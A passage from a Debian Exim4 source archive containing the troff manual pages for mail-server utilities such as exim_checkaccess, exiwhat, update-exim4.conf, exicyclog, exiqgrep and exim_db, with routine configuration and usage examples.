\-bt and \-bv, and the policy controls, using \-bh. If possible, you should also do some live tests (i.e. send and receive some messages) before putting Exim 4 into service. If you have a very complicated configuration, it is possible that exim_convert4r4 will break it in some situations, which is why thorough testing is strongly recommended. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), the files in /usr/share/doc/exim4\-base/, especially Exim4.upgrade.gz .SH AUTHOR This manual page was stitched together from Exim4.upgrade by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exim_checkaccess.80000644000000000000000000000550312027557533014347 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIM_CHECKACCESS 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exim_checkaccess \- Check address acceptance from given IP .SH SYNOPSIS .B exim_checkaccess .I IP-address email@address [more Exim options] .SH DESCRIPTION .B Exim's .I \-bh command line argument allows you to run a fake SMTP session with debugging output, in order to check what Exim is doing when it is applying policy controls to incoming SMTP mail. However, not everybody is sufficiently familiar with the SMTP protocol to be able to make full use of \-bh, and sometimes you just want to answer the question \(lqDoes this address have access?\(rq without bothering with any further details. The .B exim_checkaccess utility is a \(oqpackaged\(cq version of .I \-bh. It takes two arguments, an IP address and an email address: exim_checkaccess 10.9.8.7 A.User@a.domain.example The utility runs a call to .B Exim with the \-bh option, to test whether the given email address would be accepted in a RCPT command in a TCP/IP connection from the host with the given IP address. The output of the utility is either the word \(oqaccepted\(cq, or the SMTP error response, for example: Rejected: 550 Relay not permitted When running this test, the utility uses \(lq<>\(rq as the envelope sender address for the MAIL command, but you can change this by providing additional options. These are passed directly to the Exim command. For example, to specify that the test is to be run with the sender address \(lqhimself@there.example\(rq you can use: exim_checkaccess 10.9.8.7 A.User@a.domain.example \\ \-f himself@there.example Note that these additional Exim command line items must be given after the two mandatory arguments. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exiwhat.80000644000000000000000000000575612027557533012551 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIWHAT 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exiwhat \- Finding out what Exim processes are doing .SH SYNOPSIS .B exiwhat .SH DESCRIPTION On operating systems that can restart a system call after receiving a signal (most modern OS), an .B Exim process responds to the SIGUSR1 signal by writing a line describing what it is doing to the file exim\-process.info in the Exim spool directory. The .B exiwhat script sends the signal to all .B Exim processes it can find, having first emptied the file. It then waits for one second to allow the .B Exim processes to react before displaying the results. In order to run .B exiwhat successfully you have to have sufficient privilege to send the signal to the .B Exim processes, so it is normally run as root. Unfortunately, the .B ps command which .B exiwhat uses to find .B Exim processes varies in different operating systems. Not only are different options used, but the format of the output is different. For this reason, there are some system configuration options that configure exactly how .B exiwhat works. If it doesn't seem to be working for you, check the following compile-time options: .TP .I EXIWHAT_PS_CMD the command for running \(lqps\(rq .TP .I EXIWHAT_PS_ARG the argument for \(lqps\(rq .TP .I EXIWHAT_EGREP_ARG the argument for \(lqegrep\(rq to select from \(lqps\(rq output .TP .I EXIWHAT_KILL_ARG the argument for the \(lqkill\(rq command .PP An example of typical output from .B exiwhat is .nf 164 daemon: \-q1h, listening on port 25 10483 running queue: waiting for 0tAycK-0002ij-00 (10492) 10492 delivering 0tAycK-0002ij-00 to mail.ref.example [10.19.42.42] (editor@ref.example) 10592 handling incoming call from [192.168.243.242] 10628 accepting a local non-SMTP message .fi The first number in the output line is the process number. The third line has been split here, in order to fit it on the page. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/update-exim4.conf.80000644000000000000000000003013612200230010014263 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH UPDATE-EXIM4.CONF 8 "Jun 25, 2005" EXIM4 .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME update\-exim4.conf \- Generate exim4 configuration files. .SH SYNOPSIS .B update\-exim4.conf [\-v|\-\-verbose] [\-h|\-\-help] [\-\-keepcomments] [\-\-removecomments] [\-o|\-\-output file] .SH OPTIONS .TP .I \-v|\-\-verbose Enable verbose mode .TP .I \-h|\-\-help Show short help message and exit .TP .I \-\-keepcomments Do not remove comment lines from the output file. .TP .I \-\-removecomments Remove comment lines from the output file. [Default] .TP .I \-o|\-\-output file Write output to file instead of /var/lib/exim4/config.autogenerated. .TP .I \-d|\-\-confdir directory Read input from directory instead of /etc/exim4. .SH DESCRIPTION The script .B update\-exim4.conf generates the main configuration files .I /var/lib/exim4/config.autogenerated for .B Exim v4 by merging the data in the template file .I /etc/exim4/exim4.conf.template or the ones in the .I /etc/exim4/conf.d directory tree respectively and .I /etc/exim4/update\-exim4.conf.conf to the output file .I /var/lib/exim4/config.autogenerated. .PP If dc_use_split_config in /etc/exim4/update\-exim4.conf.conf specifies a split configuration, .B update\-exim4.conf processes the /etc/exim4/conf.d subdirectories in the order main, acl, router, transport, retry, rewrite and auth. Within each directory it takes files in lexical sort order by file name. It concatenates all these files and makes the debconf replacement described below. If you are not using split configuration .B update\-exim4.conf concatenates /etc/exim4/exim4.conf.localmacros (if this file exists) and /etc/exim4/exim4.conf.template (in this order) and makes the debconf replacement described below. In either case, before outputting the result to /var/lib/exim4/config.autogenerated, .B update\-exim4.conf generates a number of exim configuration macros from the contents of dc_something from /etc/exim4/update\-exim4.conf.conf and inserts them into the configuration right after the definition of the exim configuration macro UPEX4CmacrosUPEX4C (which is only used as placeholder for this case). The macro definitions are bracketed with .ifdef clauses to allow the local admin to override the values with earlier definitions. .B update\-exim4.conf makes no other changes to the configuration. This makes it very simple to make small changes to the configuration and still have the benefits of debconf. On the other hand if you don't want to manage exim4.conf with debconf install your own handcrafted version as /etc/exim4/exim4.conf. Exim will use this file if it exists and ignore the autogenerated one. Additionally you might want to set .I dc_eximconfig_configtype=none in /etc/exim4/update\-exim4.conf.conf to stop debconf from asking you questions about exim4. .B update\-exim4.conf exits silently and does nothing if /etc/exim4/exim4.conf exists and \-o was not used to direct the output to a different file than /var/lib/exim4/config.autogenerated. .B update\-exim4.conf will only use files in the conf.d directory that have a filename which consists only of letters, numbers, underscores and hyphens ([:alnum:]_\-), similar to .B run\-parts(8). Additionally, .B update\-exim4.conf will use /etc/exim4/conf.d/foo/bar.rul instead of /etc/exim4/conf.d/foo/bar if the .rul file exists. This is meant to be helpful for easy interaction with packages extending Exim. If the new configuration will be written to /var/lib/exim4/config.autogenerated, .B update\-exim4.conf will check the validity of the freshly generated configuration. If the new file is detected as invalid, update-exim4.conf leaves the old /var/lib/exim4/config.autogenerated untouched and exits with an error. However, there are still possible invalidities that can only be detected at run time. This most notably applies to errors in expressions that are expanded at run time. If the new configuration will be written to some other file, no validity checking occurs and that file will always be overwritten. .SH EXAMPLES You want to be able to check exim's queue as normal user: Generate a new file, e.g. /etc/exim4/conf.d/main/40_local_mailq, containing only the line .I queue_list_requires_admin = false .SH NOTES .B update\-exim4.conf changes the file permissions of the output file to the value of the environment variable CFILEMODE. If CFILEMODE is neither set in /etc/exim4/update\-exim4.conf.conf nor in the environment it defaults to 0644. Change this to 0640 if you are keeping sensitive information (LDAP credentials et. al.) in there. .SH CONFIGURATION VARIABLES All lists given in configuration variables are semicolon-separated. In the past, they used to be colon separated. This was changed to semicolon separation to make specification of IPv6 addresses easier. Backwards compatibility is preserved, so that old configurations using colons as separators do still work. Colons are deprecated and might stop working in a later release. If you need to specifiy a single IPv6 address in a field that is defined as a list of host names or IP addresses, please prefix "<;" to explicitly specify the list separator as a semicolon. Otherwise, the code cannot tell an IP address from a colon-separated list of strange host names. Using lookups like "dsearch;something" in update-exim4.conf.conf has never been supported and does no longer work! If you need this, please convert to directly setting the appropriate macros. .B update\-exim4.conf evaluates these patterns in .B /etc/exim4/update\-exim4.conf.conf: .TP .I CFILEMODE The octal file mode of the generated file. .TP .I dc_eximconfig_configtype The main configuration type. Sets macro DC_eximconfig_configtype. The macro usually contains a shorthand for one of the choices for the \(lqGeneral type of mail configuration\(rq debconf question (See README.Debian). .RS .B dc_eximconfig_configtype <-> debconf configtype mapping: .PD 0.1 .TP \(lqinternet\(rq internet site; mail is sent and received directly using SMTP .TP \(lqsmarthost\(rq mail sent by smarthost; received via SMTP or fetchmail .TP \(lqsatellite\(rq mail sent by smarthost; no local mail .TP \(lqlocal\(rq local delivery only; not on a network .TP \(lqnone\(rq no configuration at this time .PD .RE .TP .I dc_hide_mailname Boolean option that controls whether the local mailname in the headers of outgoing mail should be hidden. (Only effective for \(lqsmarthost\(rq and \(lqsatellite\(rq. Sets macro HIDE_MAILNAME. .TP .I dc_mailname_in_oh Internal use only Boolean option that is set by the maintainer scripts after adding the contents of /etc/mailname to the dc_other_hostnames list. This is a transition helper since it wouldn't otherwise be possible to see whether that domain name has been removed from dc_other_hostnames on purpose. This is not used by update-exim4.conf, and no macro is set. .TP .I ue4c_keepcomments Boolean option that controls whether .B update\-exim4.conf strips the comments from the target configuration file (default) or leaves them in. This can be overridden by the command line options \-\-keepcomments and \-\-removecomments. The value is not written to an exim macro. .TP .I dc_localdelivery name of the default transport for local mail delivery. Defaults to mail_spool if unset, use maildir_home for delivery to ~/Maildir/. Sets macro LOCAL_DELIVERY. .TP .I dc_local_interfaces List of IP addresses the Exim daemon should listen on. If this is left empty, Exim listens on all interfaces. Sets macro MAIN_LOCAL_INTERFACES only if there is a non-empty value. .TP .I dc_minimaldns Boolean option to activate some option to minimize DNS lookups, if set to \(lqtrue\(rq a macro DC_minimaldns is defined. If true, the macro DC_minimaldns is set to 1, and the macro MAIN_HARDCODE_PRIMARY_HOSTNAME is set to the appropriately post-processes output of hostname \-\-fqdn. .TP .I dc_other_hostnames is used to build the local_domains list, together with \(lqlocalhost\(rq. This is the list of domains for which this machine should consider itself the final destination. The local_domains list ends up in the macro MAIN_LOCAL_DOMAINS. .TP .I dc_readhost For \(lqsmarthost\(rq and \(lqsatellite\(rq it is possible to hide the local mailname in the headers of outgoing mail and replace it with this value instead, using rewriting. For \(lqsatellite\(rq only, this value is also the host to send local mail to. Sets macro DCreadhost. .TP .I dc_relay_domains is a list of domains for which we accept mail from anywhere on the Internet but which are not delivered locally, e.g. because this machine serves as secondary MX for these domains. Sets MAIN_RELAY_TO_DOMAINS. .TP .I dc_relay_nets A list of machines for which we serve as smarthost. Please note that 127.0.0.1 and ::1 are always permitted to relay since /usr/lib/sendmail is available anyway and relay control doesn't make sense here. Sets macro MAIN_RELAY_NETS. .TP .I dc_smarthost List of hosts to which all outgoing mail is passed to and that takes care of delivering it. Each of the hosts is tried, in the order specified (See exim specification, chapter 20.5). All deliveries go out to TCP port 25 unless a different port is specified after the host name, separated from the host name by two colons. Colons in IPv6 addresses need to be doubled. If a port number follows, IP addresses may be enclosed in brackets, which might be the only possibility to specify delivery to an IPv6 address and a different port. Examples: .br .BR host.domain.example deliver to host looked up on DNS, tcp/25 .br .BR host.domain.example::587 deliver to host looked up on DNS, tcp/587 .br .BR 192.168.2.4 deliver to IPv4 host, tcp/25 .br .BR 192.168.2.4::587 deliver to IPv4 host, tcp/587 .br .BR [192.168.2.4]::587 deliver to IPv4 host, tcp/587 .br .BR 2001::0db8::f::4::::2 deliver to IPv6 host, tcp/25 .br .BR [2001::0db8::f::4::::2]::587 deliver to IPv6 host, tcp/587 .br This is used as value of the DCsmarthost macro. .TP .I dc_use_split_config Boolean option that controls whether .B update\-exim4.conf uses /etc/exim4/exim4.conf.template (\(lqfalse\(rq) or the multiple files below /etc/exim4/conf.d (\(lqtrue\(rq) as input. This does not set any macros. .TP .I The macro MAIN_PACKAGE_VERSION is set to Debian's Version number of the package being installed for convenient inclusion in the configuration. .SH RECOMMENDED USAGE If you are running exim as daemon (as it is in the default setup of the Debian packages) you should not invoke .B update\-exim4.conf directly when exim is running. For SMTP receiving or queue running, exim forks, and the new processes would use the new configuration file, while the original main exim daemon would still use the old configuration file. You should use .I invoke\-rc.d exim4 restart instead. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH FILES .LP .TP .B /var/lib/exim4/config.autogenerated Exim's main configuration file .LP .TP .B /etc/exim4/exim4.conf Optional manually managed Exim main configuration file. Takes precedence over debconf managed one if it exists. .LP .TP .B /etc/exim4/update-exim4.conf.conf Configuration file being written by exim4-config maintainer scripts, which may be hand-edited, and is read as input by update-exim4.conf. .SH SEE ALSO .BR exim (8), .BR exim4-config_files(5), /usr/share/doc/exim4\-base/ and for general notes and details about interaction with debconf /usr/share/doc/exim4\-base/README.Debian.gz .SH AUTHOR Andreas Metzler .br Marc Haber debian/manpages/exicyclog.80000644000000000000000000000461612027557533013060 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXICYCLOG 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exicyclog \- Cycle exim's logfiles .SH SYNOPSIS .B eximcyclog .SH DESCRIPTION The .B exicyclog script can be used to cycle (rotate) .I mainlog and .I rejectlog files. This is not necessary if only syslog is being used. Some operating systems have their own standard mechanisms for log cycling, and these can be used instead of .B exicyclog if preferred. Each time .B exicyclog is run the file names get \(oqshuffled down\(cq by one. If the main log file name is mainlog (the default) then when .B exicyclog is run mainlog becomes mainlog.01, the previous mainlog.01 becomes mainlog.02 and so on, up to a limit which is set in the script, and which defaults to 10. Reject logs are handled similarly. If no mainlog file exists, the script does nothing. Files that \(oqdrop off\(cq the end are deleted. All files with numbers greater than 01 are compressed, using a compression command which is configured by the COMPRESS_COMMAND setting in Local/Makefile. It is usual to run \(lqexicyclog\(rq daily from a root \(lqcrontab\(rq entry of the form 1 0 * * * su exim \-c /usr/exim/bin/exicyclog assuming you have used the name \(oqexim\(cq for the Exim user. You can run .B exicyclog as root if you wish, but there is no need. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exiqsumm.80000644000000000000000000000445012027557533012736 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIQSUMM 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exiqsumm \- Summarising the queue .SH SYNOPSIS .B exiqsumm .I [\-a] [\-c] .SH DESCRIPTION The .B exiqsumm utility is a Perl script which reads the output of .I exim \-bp and produces a summary of the messages on the queue. Thus, you use it by running a command such as exim \-bp | exiqsumm The output consists of one line for each domain that has messages waiting for it, as in the following example: 3 2322 74m 66m msn.com.example This lists the number of messages for the domain, their total volume, and the length of time that the oldest and the newest messages have been waiting. By default the output is sorted on the domain name, but .B exiqsumm has the options .I \-a and .I \-c, which cause the output to be sorted by oldest message and by count of messages, respectively. The output of .I exim \-bp contains the original addresses in the message, so this also applies to the output from .B exiqsumm. No domains from addresses generated by aliasing or forwarding are included (unless the \(lqone_time\(rq option of the redirect router has been used to convert them into \(oqtop level\(cq addresses). .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exiqgrep.80000644000000000000000000000420612027557533012711 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIQGREP 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exiqgrep \- Search in the exim queue .SH SYNOPSIS .B exiqgrep .I [\-a] [\-c] .SH DESCRIPTION The .B exiqgrep utility is a Perl script which offers possibilities to grep in the exim queue output. Unlike exiqsumm, it invokes exim \-bpu itself and does not need to be invoked in a pipe. .SH OPTIONS .TP 10 \fB\-h\fR Print help .TP \fB\-f \fR Match sender address (field is \(lq< >\(rq wrapped) .TP \fB\-r \fR Match recipient address .TP \fB\-s \fR Match against the site field from long output .TP \fB\-y \fR Message younger than .TP \fB\-o \fR Message older than .TP \fB\-z\fR Frozen messages only (exclude non-frozen) .TP \fB\-x\fR Non-frozen messages only (exclude frozen) .TP \fB\-c\fR Display match count .TP \fB\-l\fR Long Format [Default] .TP \fB\-i\fR Message IDs only .TP \fB\-b\fR Brief Format .TP \fB\-R\fR Reverse order .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from the source code by Marc Haber , using the exiqsumm man page by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exim_dbmbuild.80000644000000000000000000000710412027557533013671 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIM_DBMBUILD 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exim_dbmbuild \- Build a DBM file. .SH SYNOPSIS .B exim_dbmbuild .I [\-nolc] [\-nozero] [\-noduperr] [\-nowarn] inputfile|\- outputfile .SH DESCRIPTION The .B exim_dbmbuild program reads an input file containing keys and data in the format used by the .I lsearch lookup (see section 9.1). It writes a DBM file using the lower-cased alias names as keys and the remainder of the information as data. The lower-casing can be prevented by calling the program with the .I \-nolc option. A terminating zero is included as part of the key string. This is expected by the dbm lookup type. However, if the option .I \-nozero is given, .B exim_dbmbuild creates files without terminating zeroes in either the key strings or the data strings. The .I dbmnz lookup type can be used with such files. The program requires two arguments: the name of the input file (which can be a single hyphen to indicate the standard input), and the name of the output file. It creates the output under a temporary name, and then renames it if all went well. If the native DB interface is in use (USE_DB is set in a compile-time configuration file - this is common in free versions of Unix) the two file names must be different, because in this mode the Berkeley DB functions create a single output file using exactly the name given. For example, exim_dbmbuild /etc/aliases /etc/aliases.db reads the system alias file and creates a DBM version of it in /etc/aliases.db. In systems that use the .I ndbm routines (mostly proprietary versions of Unix), two files are used, with the suffixes .dir and .pag. In this environment, the suffixes are added to the second argument of .B exim_dbmbuild, so it can be the same as the first. This is also the case when the Berkeley functions are used in compatibility mode (though this is not recommended), because in that case it adds a .db suffix to the file name. If a duplicate key is encountered, the program outputs a warning, and when it finishes, its return code is 1 rather than zero, unless the .I \-noduperr option is used. By default, only the first of a set of duplicates is used - this makes it compatible with lsearch lookups. There is an option .I \-lastdup which causes it to use the data for the last duplicate instead. There is also an option .I \-nowarn, which stops it listing duplicate keys to \(lqstderr\(rq. For other errors, where it doesn't actually make a new file, the return code is 2. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exigrep.80000644000000000000000000000424612027557533012534 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIGREP 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME EXIGREP \- Search Exim's main log .SH SYNOPSIS .B exigrep .I [\-l] pattern [log file] ... .SH DESCRIPTION The .B exigrep utility is a Perl script that searches one or more main log files for entries that match a given pattern. When it finds a match, it extracts all the log entries for the relevant message, not just those that match the pattern. Thus, .B exigrep can extract complete log entries for a given message, or all mail for a given user, or for a given host, for example. The .I \-l flag means \(oqliteral\(cq, that is, treat all characters in the pattern as standing for themselves. Otherwise the pattern must be a Perl regular expression. The pattern match is case-insensitive. If no file names are given on the command line, the standard input is read. If the location of a .B zcat command is known from the definition of ZCAT_COMMAND in Local/Makefile, .B exigrep automatically passes any file whose name ends in COMPRESS_SUFFIX through .B zcat as it searches it. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), .BR perlre (1), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exim_db.80000644000000000000000000001636312200230010012446 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIM_DB 8 "December 26, 2012" .\" Please adjust this date whenever revising the manpage. .\" Up to date for 4.80 .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exim_db \- Exim's hint databases maintenance (exim_dumpdb, exim_fixdb, exim_tidydb) .SH SYNOPSIS .B exim_dumpdb .I spooldir database .br .B exim_fixdb .I spooldir database .br .B exim_tidydb .I [\-f] [\-t time] spooldir database .SH DESCRIPTION Three utility programs are provided for maintaining the DBM files that Exim uses to contain its delivery hint information. Each program requires two arguments. The first specifies the name of Exim's spool directory, and the second is the name of the database it is to operate on. These are as follows: .TP .B retry the database of retry information .TP .B wait\- databases of information about messages waiting for remote hosts .TP .B callout the callout cache .TP .B ratelimit the data for implementing the ratelimit ACL condition .TP .B misc other hints data (for example, for serializing ETRN runs) .P The entire contents of a database are written to the standard output by the .B exim_dumpdb program, which has no options or arguments other than the spool and database names. For example, to dump the retry database: .I exim_dumpdb /var/spool/exim4 retry Two lines of output are produced for each entry: .nf T:mail.ref.example:192.168.242.242 146 77 Connection refused 31-Oct-1995 12:00:12 02-Nov-1995 12:21:39 02-Nov-1995 20:21:39 * .fi The first item on the first line is the key of the record. It starts with one of the letters R, or T, depending on whether it refers to a routing or transport retry. For a local delivery, the next part is the local address; for a remote delivery it is the name of the remote host, followed by its failing IP address (unless \(lqretry_include_ip_address\(rq is set false on the smtp transport). If the remote port is not the standard one (port 25), it is added to the IP address. Then there follows an error code, an additional error code, and a textual description of the error. The three times on the second line are the time of first failure, the time of the last delivery attempt, and the computed time for the next attempt. The line ends with an asterisk if the cutoff time for the last retry rule has been exceeded. Each output line from .B exim_dumpdb for the .I wait\-xxx databases consists of a host name followed by a list of ids for messages that are or were waiting to be delivered to that host. If there are a very large number for any one host, continuation records, with a sequence number added to the host name, may be seen. The data in these records is often out of date, because a message may be routed to several alternative hosts, and Exim makes no effort to keep cross-references. The .B exim_tidydb utility program is used to tidy up the contents of a hints database. If run with no options, it removes all records that are more than 30 days old. The age is calculated from the date and time that the record was last updated. Note that, in the case of the retry database, it is not the time since the first delivery failure. Information about a host that has been down for more than 30 days will remain in the database, provided that the record is updated sufficiently often. The cutoff date can be altered by means of the \-t option, which must be followed by a time. For example, to remove all records older than a week from the retry database: .I exim_tidydb \-t 7d /var/spool/exim4 retry Both the .I wait\-xxx and .I retry databases contain items that involve message ids. In the former these appear as data in records keyed by host - they were messages that were waiting for that host - and in the latter they are the keys for retry information for messages that have suffered certain types of error. When \(lqexim_tidydb\(rq is run, a check is made to ensure that message ids in database records are those of messages that are still on the queue. Message ids for messages that no longer exist are removed from \(lqwait\-\(rqxxx records, and if this leaves any records empty, they are deleted. For the \(lqretry\(rq database, records whose keys are non-existent message ids are removed. The .B exim_tidydb utility outputs comments on the standard output whenever it removes information from the database. Certain records are automatically removed by Exim when they are no longer needed, but others are not. For example, if all the MX hosts for a domain are down, a retry record is created for each one. If the primary MX host comes back first, its record is removed when Exim successfully delivers to it, but the records for the others remain because Exim has not tried to use those hosts. It is important, therefore, to run \(lqexim_tidydb\(rq periodically on all the hints databases. You should do this at a quiet time of day, because it requires a database to be locked (and therefore inaccessible to Exim) while it does its work. Removing records from a DBM file does not normally make the file smaller, but all the common DBM libraries are able to re-use the space that is released. After an initial phase of increasing in size, the databases normally reach a point at which they no longer get any bigger, as long as they are regularly tidied. Warning: If you never run \(lqexim_tidydb\(rq, the space used by the hints databases is likely to keep on increasing. The .B exim_fixdb program is a utility for interactively modifying databases. Its main use is for testing Exim, but it might also be occasionally useful for getting round problems in a live system. It has no options, and its interface is somewhat crude. On entry, it prompts for input with a right angle-bracket. A key of a database record can then be entered, and the data for that record is displayed. If \(oqd\(cq is typed at the next prompt, the entire record is deleted. For all except the .I retry database, that is the only operation that can be carried out. For the .I retry database, each field is output preceded by a number, and data for individual fields can be changed by typing the field number followed by new data, for example: > 4 951102:1000 resets the time of the next delivery attempt. Time values are given as a sequence of digit pairs for year, month, day, hour, and minute. Colons can be used as optional separators. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/exim_lock.80000644000000000000000000001025412027557533013037 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIM_LOCK 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, 